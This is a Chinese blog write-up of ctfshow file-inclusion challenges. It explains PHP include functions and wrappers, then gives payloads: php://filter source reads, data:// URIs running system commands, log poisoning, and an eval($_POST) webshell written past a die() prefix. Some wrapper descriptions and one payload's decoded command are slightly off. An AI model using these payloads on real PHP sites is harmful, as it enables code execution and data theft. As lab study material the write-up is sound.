ctfshow->web入门->文件包含

在做题之前,先了解一下相关的知识

1.什么是文件包含

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

2.常见的文件包含函数

PHP中文件包含函数有以下四种:

1.include(): 用于将指定文件包含进当前脚本中。如果文件不存在,则会发出警告并继续执行脚本。如果文件中包含有函数,函数也可以在包含它的脚本中使用。
2.require(): 与include()类似,用于将指定文件包含进当前脚本中。不同之处在于,如果文件不存在,则会发出致命错误并停止执行脚本。
3.include_once(): 与include()类似,但它会在包含文件之前先检查文件是否已经被包含过了。如果文件已经被包含,则不会再次包含它。
4.require_once(): 与require()类似,但它会在包含文件之前先检查文件是否已经被包含过了。如果文件已经被包含,则不会再次包含它。

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。

3.漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

 4.php伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

5.php://fifter(过滤器)

 当我们需要从用户输入或其他不可靠来源获取文件路径时,使用filter进行过滤和验证可以有效地防止路径遍历攻击等安全问题。

php://filter 过滤器支持以下参数:

“read”:用于对输入流进行过滤和转换。通过设置 “php://filter/read=filter_name”,可以将输入流中的数据使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/read=convert.base64-decode” 过滤器将输入的 Base64 编码数据进行解码。


“write”:用于对输出流进行过滤和转换。通过设置 “php://filter/write=filter_name”,可以将输出流中的数据使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/write=convert.base64-encode” 过滤器将输出的数据进行 Base64 编码。


“string”:用于对字符串进行过滤和转换。通过设置 “php://filter/string=filter_name”,可以对指定的字符串使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/string.toupper” 过滤器将字符串全部转换为大写字母。


“convert”:用于对输入流和输出流进行编码和转换。通过设置 “php://filter/convert=filter_name”,可以将输入和输出流中的数据进行编码和转换,以适应不同的需求。例如,可以使用 “php://filter/convert.base64-encode” 过滤器将输入和输出流中的数据进行 Base64 编码。

6.data(数据流协议)

“data://” 是 PHP 中的一种数据流(stream)协议,它允许将数据以 URL 形式进行传输和访问。通过 “data://” 协议,可以将数据直接嵌入到 PHP 脚本中,或者在 PHP 脚本中动态生成数据。

以下是ctfshow->web入门->文件包含的题目

web78 

没有任何限制条件,我们用php伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

再将其解码,拿到flag

也可以用data

web79

这道题我们可以看到,它把php替换成了???

用这条语句  ?file=data://text/plain,<?=system("tac f*");?>

web80 日志包含

这题把php和data过滤了

日志文件路径: ?file=/var/log/nginx/access.log

访问抓包

得到fl0g.php

将ls改成cat fl0g.php

 

得到flag

web81

 

 这一题只是多过滤了一个:

可以用上一题一模一样的方法

web82 ~ 86 

都是条件竞争类

这里只了解一下其原理

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。

条件竞争漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

条件竞争需要如下的条件:

并发
即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。

共享对象

即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。

改变对象

即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。

web87(filter协议编码绕过die) 

先代码分析,主要传入两个参数,一个post一个get,过滤了php  data  :  .  
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
因为urldecode($file),所以我们在传入时要对file传入的东西进行二次编码
因为有die(与exit意思一样),导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制),所以我们要绕过他
这个<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
$file是我们我们可控的协议流,我们使用base64编码,在解码时去掉退出代码中不支持的字符,变为phpdie,在后面加上aa使得能正常解码phpdieaa(base64编码解码特性,4字节一组)

aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

这是base64编码的 

<?php @eval($_POST[a]);?>

 前面多加了两个aa

这是对php://filter/write=convert.base64-decode/resource=1.php进行了2次url编 

%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570

 

将内容写入,然后直接访问1.php,post参数a进行命令执行

 web88

过滤了挺多的,但是没有过滤:

这就好办了,我们就可以使用php伪协议,和79差不多

<?php system('tac fl0g.php'); ?>即

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

web116

进去竟然是个视频,要把视频下载下来用winhex查看,提取图片,查看源码 

用的是file_get_contents,直接用file=flag.php就可以

 

web117

死亡绕过不同变量,但是这里把rot13和base64过滤了,所以考虑除这两种以外的方式绕过。

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串 $str 从in_charset编码转换到 $out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上 

 

 

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

迪亚波罗#

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值